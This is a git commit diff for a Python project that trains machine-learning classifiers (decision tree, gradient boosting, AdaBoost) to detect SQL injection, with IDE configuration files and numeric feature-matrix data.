machine learning for sql injetion detection
This commit is contained in:
wangfang
12
ML_for_SQL/.idea/ML_for_SQL.iml
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12
ML_for_SQL/.idea/ML_for_SQL.iml
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ML_for_SQL/.idea/inspectionProfiles/profiles_settings.xml
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4
ML_for_SQL/.idea/misc.xml
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ML_for_SQL/.idea/misc.xml
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8
ML_for_SQL/.idea/modules.xml
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ML_for_SQL/.idea/modules.xml
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794
ML_for_SQL/.idea/workspace.xml
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ML_for_SQL/.idea/workspace.xml
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<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/sqlkNN.py" />
|
||||||
|
<option name="PARAMETERS" value="" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<option name="EMULATE_TERMINAL" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="false" name="sqllogistic" type="PythonConfigurationType" factoryName="Python" temporary="true">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/sqllogistic.py" />
|
||||||
|
<option name="PARAMETERS" value="" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<option name="EMULATE_TERMINAL" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="false" name="sqlbys" type="PythonConfigurationType" factoryName="Python" temporary="true">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/sqlbys.py" />
|
||||||
|
<option name="PARAMETERS" value="" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<option name="EMULATE_TERMINAL" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="false" name="adaboost" type="PythonConfigurationType" factoryName="Python" temporary="true">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/adaboost.py" />
|
||||||
|
<option name="PARAMETERS" value="" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<option name="EMULATE_TERMINAL" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="DjangoTestsConfigurationType" factoryName="Django tests">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="TARGET" value="" />
|
||||||
|
<option name="SETTINGS_FILE" value="" />
|
||||||
|
<option name="CUSTOM_SETTINGS" value="false" />
|
||||||
|
<option name="USE_OPTIONS" value="false" />
|
||||||
|
<option name="OPTIONS" value="" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="JavaScriptTestRunnerJest" factoryName="Jest">
|
||||||
|
<node-interpreter value="project" />
|
||||||
|
<working-dir value="" />
|
||||||
|
<envs />
|
||||||
|
<scope-kind value="ALL" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="JavaScriptTestRunnerProtractor" factoryName="Protractor">
|
||||||
|
<config-file value="" />
|
||||||
|
<node-interpreter value="project" />
|
||||||
|
<envs />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="JavascriptDebugType" factoryName="JavaScript Debug">
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="PyBehaveRunConfigurationType" factoryName="Behave">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs />
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="ADDITIONAL_ARGS" value="" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="PyLettuceRunConfigurationType" factoryName="Lettuce">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs />
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="ADDITIONAL_ARGS" value="" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="PythonConfigurationType" factoryName="Python">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="" />
|
||||||
|
<option name="PARAMETERS" value="" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<option name="EMULATE_TERMINAL" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="Tox" factoryName="Tox">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs />
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="js.build_tools.gulp" factoryName="Gulp.js">
|
||||||
|
<node-interpreter>project</node-interpreter>
|
||||||
|
<node-options />
|
||||||
|
<gulpfile />
|
||||||
|
<tasks />
|
||||||
|
<arguments />
|
||||||
|
<envs />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="js.build_tools.npm" factoryName="npm">
|
||||||
|
<command value="run" />
|
||||||
|
<scripts />
|
||||||
|
<node-interpreter value="project" />
|
||||||
|
<envs />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="tests" factoryName="Doctests">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs />
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="" />
|
||||||
|
<option name="CLASS_NAME" value="" />
|
||||||
|
<option name="METHOD_NAME" value="" />
|
||||||
|
<option name="FOLDER_NAME" value="" />
|
||||||
|
<option name="TEST_TYPE" value="TEST_SCRIPT" />
|
||||||
|
<option name="PATTERN" value="" />
|
||||||
|
<option name="USE_PATTERN" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="true" type="tests" factoryName="Nosetests">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs />
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="" />
|
||||||
|
<option name="IS_MODULE_SDK" value="false" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="ML_for_SQL" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="_new_regexPattern" value="""" />
|
||||||
|
<option name="_new_additionalArguments" value="""" />
|
||||||
|
<option name="_new_target" value=""."" />
|
||||||
|
<option name="_new_targetType" value=""PATH"" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<list size="5">
|
||||||
|
<item index="0" class="java.lang.String" itemvalue="Python.sqlforestrandom" />
|
||||||
|
<item index="1" class="java.lang.String" itemvalue="Python.sqlkNN" />
|
||||||
|
<item index="2" class="java.lang.String" itemvalue="Python.sqllogistic" />
|
||||||
|
<item index="3" class="java.lang.String" itemvalue="Python.sqlbys" />
|
||||||
|
<item index="4" class="java.lang.String" itemvalue="Python.adaboost" />
|
||||||
|
</list>
|
||||||
|
<recent_temporary>
|
||||||
|
<list size="5">
|
||||||
|
<item index="0" class="java.lang.String" itemvalue="Python.adaboost" />
|
||||||
|
<item index="1" class="java.lang.String" itemvalue="Python.sqlforestrandom" />
|
||||||
|
<item index="2" class="java.lang.String" itemvalue="Python.sqlbys" />
|
||||||
|
<item index="3" class="java.lang.String" itemvalue="Python.sqllogistic" />
|
||||||
|
<item index="4" class="java.lang.String" itemvalue="Python.sqlkNN" />
|
||||||
|
</list>
|
||||||
|
</recent_temporary>
|
||||||
|
</component>
|
||||||
|
<component name="ShelveChangesManager" show_recycled="false">
|
||||||
|
<option name="remove_strategy" value="false" />
|
||||||
|
</component>
|
||||||
|
<component name="TaskManager">
|
||||||
|
<task active="true" id="Default" summary="Default task">
|
||||||
|
<changelist id="01e31b75-444e-4a87-823a-73b00acb211c" name="Default" comment="" />
|
||||||
|
<created>1523458935612</created>
|
||||||
|
<option name="number" value="Default" />
|
||||||
|
<option name="presentableId" value="Default" />
|
||||||
|
<updated>1523458935612</updated>
|
||||||
|
</task>
|
||||||
|
<servers />
|
||||||
|
</component>
|
||||||
|
<component name="ToolWindowManager">
|
||||||
|
<frame x="-9" y="-9" width="1938" height="1048" extended-state="0" />
|
||||||
|
<editor active="true" />
|
||||||
|
<layout>
|
||||||
|
<window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.21405579" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" />
|
||||||
|
<window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
|
||||||
|
<window_info id="Database" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.3193658" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="false" weight="0.33" sideWeight="0.5" order="10" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Python Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="8" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="9" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.3997735" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
|
||||||
|
<window_info id="Data View" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
|
||||||
|
<window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
|
||||||
|
<window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
|
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|
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|
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|
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|
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|
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|
||||||
BIN
ML_for_SQL/__pycache__/featurepossess.cpython-36.pyc
Normal file
BIN
ML_for_SQL/__pycache__/featurepossess.cpython-36.pyc
Normal file
Binary file not shown.
63
ML_for_SQL/adaboost.py
Normal file
63
ML_for_SQL/adaboost.py
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Nov 20 19:06:57 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.tree import DecisionTreeClassifier
|
||||||
|
from sklearn.ensemble import GradientBoostingClassifier
|
||||||
|
from sklearn.ensemble import AdaBoostClassifier
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
model1=DecisionTreeClassifier(max_depth=5)
|
||||||
|
model2=GradientBoostingClassifier(n_estimators=100)
|
||||||
|
model3=AdaBoostClassifier(model1,n_estimators=100)
|
||||||
|
model1.fit(train_data,train_target)#训练模型
|
||||||
|
model2.fit(train_data,train_target)#训练模型
|
||||||
|
model3.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(model2, './file/GBDT.model')#梯度提升书算法
|
||||||
|
print("GBDT.model has been saved to 'file/GBDT.model'")
|
||||||
|
|
||||||
|
joblib.dump(model3, './file/Adaboost.model')
|
||||||
|
print("Adaboost.model has been saved to 'file/Adaboost.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred1=model2.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred1)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print("GBDT:")
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred1))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred1))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred1))#混淆矩阵
|
||||||
|
|
||||||
|
y_pred2=model3.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred2)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print("Adaboost:")
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred2))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred2))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred2))#混淆矩阵
|
||||||
|
|
||||||
|
|
||||||
9975
ML_for_SQL/data/all_matrix.csv
Normal file
9975
ML_for_SQL/data/all_matrix.csv
Normal file
File diff suppressed because it is too large
Load Diff
73
ML_for_SQL/data/all_matrix.txt
Normal file
73
ML_for_SQL/data/all_matrix.txt
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
56.000000,0.000000,0.000000,0.089286,0.160714,0.035714,0.000000,1.000000
|
||||||
|
31.000000,0.000000,0.000000,0.032258,0.129032,0.000000,0.000000,1.000000
|
||||||
|
30.000000,0.000000,0.000000,0.066667,0.133333,0.033333,0.000000,1.000000
|
||||||
|
75.000000,0.000000,0.000000,0.026667,0.093333,0.013333,0.000000,1.000000
|
||||||
|
61.000000,0.000000,0.000000,0.065574,0.147541,0.000000,0.000000,1.000000
|
||||||
|
112.000000,0.000000,0.508929,0.008929,0.071429,0.008929,0.000000,1.000000
|
||||||
|
28.000000,0.000000,0.000000,0.000000,0.035714,0.035714,0.000000,1.000000
|
||||||
|
64.000000,0.000000,0.015625,0.031250,0.125000,0.015625,0.000000,1.000000
|
||||||
|
62.000000,0.000000,0.000000,0.112903,0.032258,0.000000,0.000000,1.000000
|
||||||
|
29.000000,0.000000,0.000000,0.000000,0.172414,0.000000,0.034483,1.000000
|
||||||
|
43.000000,0.000000,0.000000,0.023256,0.093023,0.023256,0.000000,1.000000
|
||||||
|
107.000000,0.000000,0.000000,0.018692,0.130841,0.037383,0.000000,1.000000
|
||||||
|
48.000000,0.000000,0.000000,0.083333,0.145833,0.020833,0.000000,1.000000
|
||||||
|
109.000000,0.000000,0.165138,0.045872,0.100917,0.027523,0.000000,1.000000
|
||||||
|
22.000000,0.000000,0.090909,0.090909,0.000000,0.000000,0.000000,1.000000
|
||||||
|
142.000000,0.000000,0.197183,0.119718,0.063380,0.028169,0.000000,1.000000
|
||||||
|
26.000000,0.000000,0.153846,0.000000,0.000000,0.000000,0.000000,1.000000
|
||||||
|
124.000000,0.000000,0.225806,0.120968,0.048387,0.032258,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.307692,0.038462,0.038462,0.019231,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.000000,0.000000,0.076923,0.000000,0.000000,1.000000
|
||||||
|
39.000000,0.000000,0.000000,0.051282,0.153846,0.000000,0.000000,1.000000
|
||||||
|
68.000000,0.000000,0.014706,0.029412,0.147059,0.000000,0.000000,1.000000
|
||||||
|
49.000000,0.000000,0.000000,0.081633,0.102041,0.000000,0.000000,1.000000
|
||||||
|
55.000000,0.000000,0.000000,0.000000,0.072727,0.000000,0.000000,1.000000
|
||||||
|
40.000000,0.000000,0.000000,0.075000,0.150000,0.000000,0.000000,1.000000
|
||||||
|
109.000000,0.000000,0.027523,0.055046,0.155963,0.018349,0.000000,1.000000
|
||||||
|
93.000000,0.000000,0.118280,0.032258,0.075269,0.010753,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.173077,0.019231,0.076923,0.019231,0.000000,1.000000
|
||||||
|
55.000000,0.000000,0.163636,0.036364,0.109091,0.018182,0.000000,1.000000
|
||||||
|
45.000000,0.000000,0.000000,0.000000,0.088889,0.000000,0.000000,1.000000
|
||||||
|
50.000000,0.000000,0.080000,0.000000,0.100000,0.000000,0.000000,1.000000
|
||||||
|
115.000000,0.000000,0.034783,0.000000,0.121739,0.000000,0.000000,1.000000
|
||||||
|
40.000000,0.000000,0.000000,0.000000,0.200000,0.000000,0.000000,1.000000
|
||||||
|
27.000000,0.000000,0.000000,0.148148,0.074074,0.000000,0.000000,1.000000
|
||||||
|
58.000000,0.000000,0.000000,0.000000,0.068966,0.000000,0.000000,1.000000
|
||||||
|
64.000000,0.000000,0.000000,0.015625,0.109375,0.000000,0.000000,1.000000
|
||||||
|
54.000000,0.000000,0.000000,0.000000,0.129630,0.018519,0.000000,1.000000
|
||||||
|
58.000000,0.000000,0.000000,0.000000,0.068966,0.000000,0.000000,1.000000
|
||||||
|
81.000000,0.000000,0.000000,0.012346,0.086420,0.000000,0.000000,1.000000
|
||||||
|
51.000000,0.000000,0.078431,0.000000,0.117647,0.019608,0.000000,1.000000
|
||||||
|
48.000000,0.000000,0.000000,0.000000,0.083333,0.000000,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.076923,0.000000,0.115385,0.000000,0.000000,1.000000
|
||||||
|
43.000000,0.000000,0.000000,0.069767,0.093023,0.000000,0.000000,1.000000
|
||||||
|
108.000000,0.000000,0.037037,0.083333,0.129630,0.000000,0.000000,1.000000
|
||||||
|
284.000000,0.000000,0.028169,0.042254,0.137324,0.000000,0.000000,1.000000
|
||||||
|
9.000000,0.000000,0.000000,0.333333,0.000000,0.111111,0.000000,1.000000
|
||||||
|
27.000000,0.000000,0.074074,0.222222,0.000000,0.000000,0.000000,1.000000
|
||||||
|
14.000000,0.000000,0.000000,0.142857,0.142857,0.071429,0.000000,1.000000
|
||||||
|
6.000000,0.000000,0.333333,0.333333,0.166667,0.166667,0.000000,1.000000
|
||||||
|
17.000000,0.000000,0.470588,0.235294,0.176471,0.117647,0.000000,1.000000
|
||||||
|
12.000000,0.000000,0.583333,0.083333,0.166667,0.000000,0.000000,1.000000
|
||||||
|
83.000000,0.000000,0.409639,0.240964,0.132530,0.024096,0.000000,1.000000
|
||||||
|
0.000000,0.000000,0.409639,0.240964,0.132530,0.024096,0.000000,1.000000
|
||||||
|
17.000000,0.000000,0.058824,0.823529,0.000000,0.000000,0.058824,0.000000
|
||||||
|
81.000000,0.000000,0.061728,0.493827,0.000000,0.000000,0.086420,0.000000
|
||||||
|
38.000000,0.000000,0.052632,0.605263,0.000000,0.000000,0.078947,0.000000
|
||||||
|
495.000000,0.000000,0.367677,0.202020,0.000000,0.000000,0.018182,0.000000
|
||||||
|
18.000000,0.000000,0.055556,0.833333,0.000000,0.000000,0.055556,0.000000
|
||||||
|
12.000000,0.000000,0.083333,0.750000,0.000000,0.000000,0.083333,0.000000
|
||||||
|
22.000000,0.000000,0.318182,0.590909,0.000000,0.000000,0.090909,0.000000
|
||||||
|
318.000000,0.000000,0.075472,0.415094,0.000000,0.000000,0.106918,0.000000
|
||||||
|
108.000000,0.000000,0.083333,0.583333,0.000000,0.000000,0.083333,0.000000
|
||||||
|
35.000000,0.000000,0.057143,0.657143,0.000000,0.000000,0.085714,0.000000
|
||||||
|
48.000000,0.000000,0.083333,0.375000,0.000000,0.000000,0.083333,0.000000
|
||||||
|
94.000000,0.000000,0.265957,0.563830,0.000000,0.000000,0.106383,0.000000
|
||||||
|
39.000000,0.000000,0.025641,0.230769,0.000000,0.000000,0.025641,0.000000
|
||||||
|
33.000000,0.000000,0.151515,0.515152,0.000000,0.000000,0.090909,0.000000
|
||||||
|
591.000000,0.000000,0.115059,0.407783,0.000000,0.003384,0.101523,0.000000
|
||||||
|
273.000000,0.000000,0.073260,0.479853,0.000000,0.000000,0.128205,0.000000
|
||||||
|
964.000000,0.000000,0.060166,0.409751,0.000000,0.000000,0.099585,0.000000
|
||||||
|
358.000000,0.000000,0.083799,0.550279,0.002793,0.000000,0.106145,0.000000
|
||||||
|
524.000000,0.000000,0.188931,0.356870,0.000000,0.000000,0.177481,0.000000
|
||||||
|
119.000000,0.000000,0.294118,0.218487,0.000000,0.000000,0.159664,0.000000
|
||||||
72
ML_for_SQL/data/alltest_matrix.csv
Normal file
72
ML_for_SQL/data/alltest_matrix.csv
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
56.000000,0.000000,0.000000.1,0.089286,0.160714,0.035714,0.000000.2,1.000000
|
||||||
|
31.0,0.0,0.0,0.032257999999999995,0.12903199999999998,0.0,0.0,1.0
|
||||||
|
30.0,0.0,0.0,0.06666699999999999,0.13333299999999998,0.033333,0.0,1.0
|
||||||
|
75.0,0.0,0.0,0.026667000000000003,0.093333,0.013333000000000001,0.0,1.0
|
||||||
|
61.0,0.0,0.0,0.06557400000000001,0.147541,0.0,0.0,1.0
|
||||||
|
112.0,0.0,0.508929,0.008929000000000001,0.07142899999999999,0.008929000000000001,0.0,1.0
|
||||||
|
